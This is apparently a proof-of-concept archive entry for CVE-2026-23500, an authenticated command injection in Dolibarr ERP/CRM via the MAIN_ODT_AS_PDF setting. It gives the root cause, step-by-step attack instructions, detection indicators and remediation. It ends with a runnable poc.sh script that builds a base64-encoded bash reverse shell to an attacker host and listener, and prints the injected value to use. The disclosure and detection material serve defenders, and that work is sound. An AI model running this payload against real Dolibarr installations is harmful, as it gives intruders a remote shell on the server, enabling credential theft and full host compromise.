PoC Archive PoC Archive
Critical CVE-2026-23500 / GHSA-w5j3-8fcr-h87w patched

Dolibarr ERP/CRM OS Command Injection via MAIN_ODT_AS_PDF (CVE-2026-23500)

by Łukasz Rybak (lukasz-rybak) · 2026-07-05

Severity
Critical
CVE
CVE-2026-23500 / GHSA-w5j3-8fcr-h87w
Category
web
Affected product
Dolibarr ERP/CRM
Affected versions
<= 22.0.4 (patched in 23.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherŁukasz Rybak (lukasz-rybak)
CVE / AdvisoryCVE-2026-23500 / GHSA-w5j3-8fcr-h87w
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsdolibarr, os-command-injection, rce, authenticated, php, odt-to-pdf, reverse-shell, erp
RelatedN/A

Affected Target

FieldValue
Software / SystemDolibarr ERP/CRM
Versions Affected<= 22.0.4 (patched in 23.0)
Language / PlatformPHP web application
Authentication RequiredYes (Administrator)
Network Access RequiredYes

Summary

Dolibarr’s ODT-to-PDF document conversion feature builds a shell command by concatenating the admin-configurable MAIN_ODT_AS_PDF global setting with a sanitized filename before passing it to PHP’s exec(). While the filename argument is escaped with escapeshellcmd(), the MAIN_ODT_AS_PDF value itself is pulled straight from the database and prepended to the command unescaped. An administrator (or attacker who has obtained admin access) can set this constant to a value containing a ; command separator followed by arbitrary shell commands, which then execute whenever a proposal/invoice is generated from an ODT template. The PoC demonstrates full remote code execution by injecting a base64-encoded reverse shell that is triggered on PDF generation.


Vulnerability Details

Root Cause

htdocs/includes/odtphp/odf.php (~line 930) concatenates the unsanitized MAIN_ODT_AS_PDF configuration constant directly into a shell command string passed to exec(), allowing command injection via a trailing ; separator.

Attack Vector

  1. Authenticate to Dolibarr as an Administrator.
  2. Enable the “Commercial Proposals” module and activate ODT templates in its setup.
  3. Navigate to Home -> Setup -> Other Setup and set MAIN_ODT_AS_PDF to jodconverter; echo <base64-reverse-shell> | base64 -d | bash.
  4. Start a netcat listener on the attacker host.
  5. Navigate to Commerce -> New proposal, pick an ODT template, and click Generate to trigger the conversion routine and the injected command.
  6. Receive a shell on the netcat listener with the privileges of the web server user.

Impact

Full remote code execution as the web server user (typically www-data), enabling credential theft, code modification, and potential full host/container compromise.


Environment / Lab Setup

Target:   Dolibarr <= 22.0.4 with Commercial Proposals + ODT templates enabled
Attacker: netcat listener, base64, admin-level Dolibarr session

Proof of Concept

PoC Script

See poc.sh in this folder. No standalone script was included in the source repository (it was a manual, UI-driven walkthrough); poc.sh reproduces the exact documented payload/steps as a runnable reference.

1
./poc.sh <attacker_ip> <attacker_port>

The script prints the base64-encoded reverse-shell payload to set as the MAIN_ODT_AS_PDF constant value and the manual UI steps (login as Administrator, enable ODT templates, set the constant, generate a proposal PDF) needed to trigger it. Generating a proposal PDF causes Dolibarr to execute the decoded bash -i >& /dev/tcp/<attacker>/<port> 0>&1 command, opening a reverse shell to the attacker’s netcat listener.


Detection & Indicators of Compromise

www-data ... /bin/sh -c jodconverter; echo ... | base64 -d | bash

Signs of compromise:

  • MAIN_ODT_AS_PDF configuration constant containing shell metacharacters (;, |, &&) or base64-encoded blobs.
  • Outbound TCP connections from the web server process shortly after a proposal/invoice ODT-to-PDF generation request.
  • Unexpected bash/sh child processes under the PHP-FPM or Apache worker for Dolibarr.

Remediation

ActionDetail
Primary fixUpgrade to Dolibarr 23.0 or later
Interim mitigationRestrict MAIN_ODT_AS_PDF modification to trusted super-admins only, validate/allow-list the configured converter path, and avoid exposing admin panels to untrusted users

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-23500 on 2026-07-05.

poc.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env bash
#
# CVE-2026-23500 - Dolibarr ERP/CRM OS Command Injection via MAIN_ODT_AS_PDF
#
# The source repository (lukasz-rybak/CVE-2026-23500) ships no standalone
# exploit script — the PoC is a manual, UI-driven sequence documented in its
# README. This script reproduces the exact documented steps/payload as a
# runnable reference so the payload value doesn't need to be retyped by hand.
#
# Prerequisite: an authenticated Administrator account on the target
# Dolibarr instance, reachable via a browser (steps 1-2 below are manual,
# performed through the Dolibarr web UI — Dolibarr does not expose a
# documented/stable API for editing MAIN_ODT_AS_PDF, so this is NOT a fully
# automated one-shot exploit).
#
# Usage:
#   ./poc.sh <attacker_ip> <attacker_port>
#
# Example:
#   ./poc.sh 172.26.0.1 4445

set -euo pipefail

LHOST="${1:?usage: poc.sh <attacker_ip> <attacker_port>}"
LPORT="${2:?missing attacker port}"

REVSHELL_CMD="bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
REVSHELL_B64=$(printf '%s\n' "$REVSHELL_CMD" | base64 -w0)
INJECTED_VALUE="jodconverter; echo ${REVSHELL_B64} | base64 -d | bash"

cat <<EOF
[*] Start a listener first:
      nc -lvnp ${LPORT}

[*] Step 1: Log in to Dolibarr as an Administrator.

[*] Step 2: Enable the "Commercial Proposals" module and activate ODT
    templates under its module setup.

[*] Step 3: Go to Home -> Setup -> Other Setup and set the MAIN_ODT_AS_PDF
    constant to the following value:

      ${INJECTED_VALUE}

[*] Step 4: Go to Commerce -> New Proposal, pick an ODT template, and click
    "Generate" to trigger ODT-to-PDF conversion. This runs the injected
    command via exec().

[*] On success, the netcat listener on ${LHOST}:${LPORT} receives a reverse
    shell running as the web server user (typically www-data).
EOF